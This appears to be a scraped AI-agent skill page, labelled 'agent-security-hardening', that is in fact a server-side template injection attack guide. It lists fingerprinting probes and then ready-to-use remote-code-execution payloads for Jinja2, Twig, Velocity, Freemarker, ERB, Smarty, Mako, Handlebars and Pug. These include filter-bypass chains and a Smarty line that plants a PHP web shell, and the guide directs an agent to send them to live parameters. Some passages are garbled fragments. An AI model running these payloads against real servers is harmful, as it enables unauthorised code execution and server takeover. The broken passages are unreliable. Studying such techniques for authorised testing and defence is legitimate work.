agent-security-hardening
AFaffaan-m/ECC278k4,046 new stars in the last 7 days
Server-Side Template Injection — fingerprint the engine first (Jinja2 / Twig / Velocity / Freemarker / ERB / Smarty / Mako / Handlebars / Pug), then escalate the engine-specific primitive to RCE or sandbox escape. Use when user input is reflected through a template engine (Jinja2/Twig/Velocity/Freemarker/ERB/Smarty/Mako/Handlebars/Pug) or {{7*7}} evaluates to 49.
You suspect user input is concatenated into a server-side template. The classic tell: {{7*7}} renders as 49 (not as the literal). But that's only the start — to file a real bug you must identify the engine, then prove RCE or read sensitive state.
Execution rule: send probes to the real reflected parameter or template sink before escalating. Never write literal placeholder values to files; if the sink is unknown, first discover it with http/curl.
Use read_payloads(skill="ssti", file="fingerprint-polyglot.txt") for the canonical multi-engine probe:
${7*7}
{{7*7}}
<%= 7*7 %>
*{7*7}
{{7*'7'}}
Cross-reference results:
| Render result | Engine |
|---|---|
49 from {{7*7}} AND 7777777 from {{7*'7'}} | Jinja2 (Python) |
49 from {{7*7}} AND 49 from {{7*'7'}} | Twig (PHP) |
49 from ${7*7} | Velocity / Freemarker / Mako (probe further) |
49 from <%= 7*7 %> | ERB (Ruby) / EJS (Node) |
49 from *{7*7} | Smarty |
Output of {{7*7}} literally | Not an SSTI primitive — look elsewhere |
Distinguish Velocity from Freemarker: ${"foo".getClass()} returns class java.lang.String for both; Freemarker chokes on <#assign> outside a template block; Velocity specifically renders #set($x=7*7)$x as 49.
{{ ''.__class__.__mro__[1].__subclasses__() }}
Find an index where the subclass is <class 'subprocess.Popen'> (commonly 200–400). Then:
{{ ''.__class__.__mro__[1].__subclasses__()[N]('id', shell=True, stdout=-1).communicate() }}
Bypass blacklists with attribute proxies:
{{request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')()}}
Payloads: read_payloads(skill="ssti", file="jinja2.txt").
Twig blocks most function access. Two proven escapes:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
Older versions: {{['id',1]|sort('passthru')}}.
#set($e="exp")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("id")
Built-in ?eval, or the classic exec gadget:
<#assign value="freemarker.template.utility.Execute"?new()>${value("id")}
<%= `id` %>
<%= system("id") %>
<%= IO.popen("id").read %>
{php}echo `id`;{/php} {# pre-3.1.30 #}
{system('id')} {# some forks #}
Newer Smarty: {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['c']);?>",self::clearConfig())}.
${self.module.cache.util.os.popen('id').read()}
<% import os; x=os.popen('id').read() %>${x}
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.push "return require('child_process').execSync('id');"}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push (lookup conslist.0 "apply")}}
{{this.apply 0 codelist}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
#{ root.process.mainModule.require('child_process').execSync('id').toString() }
If {{7*7}} works but exec is blocked:
['__class__'] instead of .__class__).{{ ''.__class__ }}).If the rendered template never returns to you (sent in email, server-to-server message), confirm with side-channels:
For each finding include:
{{7*7}} → 49 etc) — proves it's SSTI not arithmetic on the client.id output preferred) OR, if RCE is gated, a clear sensitive-data read (env vars, config file).AFaffaan-m/ECC278k4,046 new stars in the last 7 days
DIDietrichGebert/ponytail162k5,405 new stars in the last 7 days
DIDietrichGebert/ponytail162k5,405 new stars in the last 7 days
DIDietrichGebert/ponytail162k5,405 new stars in the last 7 days
GAgarrytan/gstack136k883 new stars in the last 7 days
Harden code against the OWASP Top 10: input handling, authentication, sessions and dependencies.
ADaddyosmani/agent-skills106k3,628 new stars in the last 7 days